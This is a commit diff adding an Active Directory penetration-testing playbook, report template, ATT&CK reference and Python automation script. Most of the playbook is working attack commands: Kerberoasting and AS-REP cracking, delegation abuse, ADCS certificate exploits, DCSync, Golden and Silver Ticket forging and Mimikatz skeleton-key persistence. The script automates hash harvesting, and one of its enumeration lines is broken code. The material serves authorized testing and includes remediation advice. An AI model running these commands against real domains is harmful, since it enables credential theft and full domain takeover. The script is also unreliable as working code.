Initial commit - 611 cybersecurity skills across all subdomains

This commit is contained in:
mukul975
2026-02-25 10:47:44 +01:00
commit 22a7ab1462
1765 changed files with 280648 additions and 0 deletions
@@ -0,0 +1,259 @@
---
name: performing-active-directory-penetration-test
description: Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise.
domain: cybersecurity
subdomain: penetration-testing
tags: [active-directory, BloodHound, Kerberoasting, Impacket, DCSync, ADCS, domain-compromise, privilege-escalation]
version: "1.0"
author: mahipal
license: MIT
---
# Performing Active Directory Penetration Test
## Overview
Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.
## Prerequisites
- Standard domain user credentials (minimum starting point)
- Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
- Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz
- Kali Linux or Windows attack machine with domain access
## Phase 1 — AD Enumeration
### Domain Information Gathering
```bash
# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
```
### BloodHound Attack Path Analysis
```bash
# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox
# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin
```
### Service Account Discovery
```bash
# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
```
## Phase 2 — Kerberos Attacks
### Kerberoasting
```bash
# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
```
### AS-REP Roasting
```bash
# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```
### Kerberos Delegation Attacks
```bash
# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
-dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass
# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
-computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
-dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
-impersonate administrator -dc-ip 10.0.0.5
```
## Phase 3 — ADCS (Active Directory Certificate Services) Attacks
```bash
# Enumerate ADCS with Certipy
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
-vulnerable -stdout
# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template VulnerableWebServer -upn administrator@corp.local
# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above
# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template User -upn administrator@corp.local
# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
-template DomainController
```
## Phase 4 — Domain Privilege Escalation
### DCSync Attack
```bash
# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc
# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
-just-dc-user krbtgt
# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
```
### Golden Ticket
```bash
# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
-domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass
# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<hash> /ptt
```
### Silver Ticket
```bash
# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass
```
## Phase 5 — Persistence Demonstration
```bash
# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password
# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes
# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history
# Document all persistence mechanisms and clean up after testing
```
## Findings and Remediation
| Finding | CVSS | Remediation |
|---------|------|-------------|
| Kerberoastable accounts with weak passwords | 7.5 | Use gMSA, enforce 25+ char passwords for service accounts |
| Unconstrained delegation on servers | 8.1 | Remove unconstrained delegation, use constrained or RBCD |
| Vulnerable ADCS templates (ESC1-ESC8) | 9.8 | Audit templates, remove dangerous permissions, require approval |
| DCSync permissions on non-DA accounts | 9.8 | Audit replication rights, implement tiered admin model |
| LLMNR/NBT-NS enabled | 8.1 | Disable via GPO |
| No LAPS deployed | 7.2 | Deploy Windows LAPS for local admin management |
| Weak domain password policy | 6.5 | Enforce 14+ chars, implement fine-grained password policies |
## References
- BloodHound: https://github.com/BloodHoundAD/BloodHound
- Impacket: https://github.com/fortra/impacket
- Certipy: https://github.com/ly4k/Certipy
- HackTricks AD: https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
- SpecterOps AD Security: https://specterops.io/blog/
- MITRE ATT&CK: https://attack.mitre.org/
@@ -0,0 +1,42 @@
# Active Directory Penetration Test — Report Template
## Document Control
| Field | Value |
|-------|-------|
| Domain | [corp.local] |
| Test Type | Active Directory Security Assessment |
| Starting Access | Standard Domain User |
| Period | [Start] — [End] |
## Executive Summary
[Summary of AD security posture, key attack paths discovered, and domain compromise status]
## Attack Path Diagram
```
testuser (Domain User)
→ Kerberoasting svc_sql (T1558.003)
→ Cracked password: "SqlServer2024!"
→ Local admin on SQL01 (T1078)
→ Mimikatz LSASS dump (T1003.001)
→ DA credentials: da_admin
→ DCSync all hashes (T1003.006)
→ FULL DOMAIN COMPROMISE
```
## Findings
### Finding [N]: [Title]
| Attribute | Detail |
|-----------|--------|
| Severity | [Critical/High/Medium/Low] |
| MITRE ATT&CK | [Technique] |
| Affected | [Accounts/Systems] |
| Remediation | [Fix] |
## Remediation Priority
| # | Action | Timeline |
|---|--------|----------|
| 1 | Deploy gMSA for service accounts | 2 weeks |
| 2 | Fix ADCS vulnerable templates | 1 week |
| 3 | Implement tiered admin model | 30 days |
| 4 | Enable LAPS | 30 days |
@@ -0,0 +1,23 @@
# Standards — Active Directory Penetration Testing
## Key Frameworks
- MITRE ATT&CK for Enterprise: https://attack.mitre.org/matrices/enterprise/
- ANSSI AD Security Guide: https://www.cert.ssi.gouv.fr/uploads/guide-ad.html
- Microsoft Tiered Administration Model: https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model
## MITRE ATT&CK Techniques for AD Testing
| Technique | ID | Description |
|-----------|----|-------------|
| Kerberoasting | T1558.003 | Steal Kerberos TGS tickets for offline cracking |
| AS-REP Roasting | T1558.004 | Target accounts without pre-auth |
| DCSync | T1003.006 | Replicate domain credentials via DRSUAPI |
| Golden Ticket | T1558.001 | Forge TGT using krbtgt hash |
| Pass-the-Hash | T1550.002 | Authenticate using NTLM hash |
| Unconstrained Delegation | T1558 | Abuse delegation to steal TGTs |
| ADCS Abuse | T1649 | Exploit misconfigured certificate templates |
## AD Security Benchmarks
- CIS Microsoft Windows Server Benchmark
- STIG (Security Technical Implementation Guide) for Windows
- Microsoft Security Compliance Toolkit
@@ -0,0 +1,36 @@
# Workflows — Active Directory Penetration Testing
## AD Attack Flow
```
Domain User Credentials
├── Enumeration
│ ├── BloodHound (attack paths)
│ ├── LDAP queries (users, groups, GPOs)
│ └── Service account discovery (SPNs)
├── Kerberos Attacks
│ ├── Kerberoasting → Hash cracking
│ ├── AS-REP Roasting → Hash cracking
│ └── Delegation abuse (unconstrained/constrained/RBCD)
├── ADCS Attacks
│ ├── ESC1-ESC8 template exploitation
│ └── Certificate-based auth to DA
├── Credential Harvesting
│ ├── LSASS dump (Mimikatz)
│ ├── SAM/SYSTEM extraction
│ └── DPAPI credential decryption
├── Domain Escalation
│ ├── DCSync (krbtgt + all hashes)
│ ├── Golden Ticket
│ └── AdminSDHolder persistence
└── Impact Demonstration
├── Full domain hash extraction
├── Access to sensitive resources
└── Cross-forest trust abuse
```
@@ -0,0 +1,181 @@
#!/usr/bin/env python3
"""
Active Directory Penetration Test — Automation Process
Automates AD enumeration, Kerberos attack setup, and reporting.
Requires: impacket, bloodhound-python, netexec, ldap3.
Usage:
python process.py --domain corp.local --dc-ip 10.0.0.5 -u testuser -p Password123 --output ./results
"""
import subprocess
import json
import os
import argparse
import datetime
from pathlib import Path
def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout, result.stderr, result.returncode
except subprocess.TimeoutExpired:
return "", f"Timed out after {timeout}s", -1
except FileNotFoundError:
return "", f"Not found: {cmd[0]}", -1
def enumerate_domain_users(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> list[str]:
"""Enumerate domain users via LDAP."""
print("[*] Enumerating domain users...")
stdout, stderr, rc = run_command(
["netexec", "smb", dc_ip, "-u", user, "-p", password, "-d", domain, "--users"]
)
users_file = output_dir / "domain_users.txt"
users = []
for line in stdout.splitlines():
if "\\\\"-1 not in line and domain.split(".")[0].upper() in line.upper():
parts = line.strip().split()
for part in parts:
if "\\" in part:
username = part.split("\\")[-1]
users.append(username)
with open(users_file, "w") as f:
f.write("\n".join(users))
print(f"[+] Found {len(users)} domain users")
return users
def get_spn_users(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> str:
"""Find Kerberoastable accounts."""
print("[*] Finding Kerberoastable service accounts...")
output_file = output_dir / "kerberoast_hashes.txt"
stdout, stderr, rc = run_command(
["impacket-GetUserSPNs", f"{domain}/{user}:{password}",
"-dc-ip", dc_ip, "-outputfile", str(output_file), "-request"]
)
if rc == 0:
print(f"[+] Kerberoast hashes saved to {output_file}")
else:
print(f"[-] Kerberoasting: {stderr[:200]}")
return str(output_file)
def get_asrep_users(domain: str, dc_ip: str, users_file: str,
output_dir: Path) -> str:
"""Find AS-REP Roastable accounts."""
print("[*] Finding AS-REP Roastable accounts...")
output_file = output_dir / "asrep_hashes.txt"
stdout, stderr, rc = run_command(
["impacket-GetNPUsers", f"{domain}/", "-usersfile", users_file,
"-dc-ip", dc_ip, "-outputfile", str(output_file), "-format", "hashcat"]
)
if rc == 0:
print(f"[+] AS-REP hashes saved to {output_file}")
return str(output_file)
def collect_bloodhound(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> None:
"""Run BloodHound data collection."""
print("[*] Collecting BloodHound data...")
stdout, stderr, rc = run_command(
["bloodhound-python", "-u", user, "-p", password,
"-d", domain, "-ns", dc_ip, "-c", "all", "--zip"],
timeout=600
)
if rc == 0:
print("[+] BloodHound data collected")
else:
print(f"[-] BloodHound: {stderr[:200]}")
def check_adcs(domain: str, dc_ip: str, user: str, password: str,
output_dir: Path) -> str:
"""Check for ADCS vulnerabilities."""
print("[*] Checking ADCS for vulnerable templates...")
output_file = output_dir / "adcs_findings.txt"
stdout, stderr, rc = run_command(
["certipy", "find", "-u", f"{user}@{domain}", "-p", password,
"-dc-ip", dc_ip, "-vulnerable", "-stdout"]
)
with open(output_file, "w") as f:
f.write(stdout)
if "ESC" in stdout:
print("[+] Vulnerable ADCS templates found!")
else:
print("[*] No vulnerable ADCS templates detected")
return str(output_file)
def generate_report(domain: str, output_dir: Path) -> str:
"""Generate AD pentest report."""
print("[*] Generating report...")
report_file = output_dir / "ad_pentest_report.md"
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
kerberoast_count = 0
kf = output_dir / "kerberoast_hashes.txt"
if kf.exists():
with open(kf) as f:
kerberoast_count = sum(1 for line in f if line.strip() and line.startswith("$krb5tgs$"))
asrep_count = 0
af = output_dir / "asrep_hashes.txt"
if af.exists():
with open(af) as f:
asrep_count = sum(1 for line in f if line.strip() and line.startswith("$krb5asrep$"))
with open(report_file, "w") as f:
f.write(f"# Active Directory Penetration Test Report\n\n")
f.write(f"**Domain:** {domain}\n")
f.write(f"**Generated:** {timestamp}\n\n---\n\n")
f.write("## Kerberos Attack Results\n\n")
f.write(f"- Kerberoastable accounts: **{kerberoast_count}**\n")
f.write(f"- AS-REP Roastable accounts: **{asrep_count}**\n\n")
f.write("## Recommendations\n\n")
f.write("1. Convert service accounts to Group Managed Service Accounts (gMSA)\n")
f.write("2. Enforce 25+ character passwords for remaining SPNs\n")
f.write("3. Enable Kerberos pre-authentication for all accounts\n")
f.write("4. Audit and remediate ADCS template vulnerabilities\n")
f.write("5. Implement tiered administration model\n")
f.write("6. Deploy monitoring for DCSync and Golden Ticket attacks\n")
print(f"[+] Report: {report_file}")
return str(report_file)
def main():
parser = argparse.ArgumentParser(description="AD Pentest Automation")
parser.add_argument("--domain", required=True)
parser.add_argument("--dc-ip", required=True)
parser.add_argument("-u", "--username", required=True)
parser.add_argument("-p", "--password", required=True)
parser.add_argument("--output", default="./results")
args = parser.parse_args()
output_dir = Path(args.output)
output_dir.mkdir(parents=True, exist_ok=True)
print("=" * 60)
print(f" AD Penetration Test — {args.domain}")
print("=" * 60)
users = enumerate_domain_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
users_file = str(output_dir / "domain_users.txt")
get_spn_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
get_asrep_users(args.domain, args.dc_ip, users_file, output_dir)
collect_bloodhound(args.domain, args.dc_ip, args.username, args.password, output_dir)
check_adcs(args.domain, args.dc_ip, args.username, args.password, output_dir)
generate_report(args.domain, output_dir)
print("\n[+] AD pentest automation complete")
if __name__ == "__main__":
main()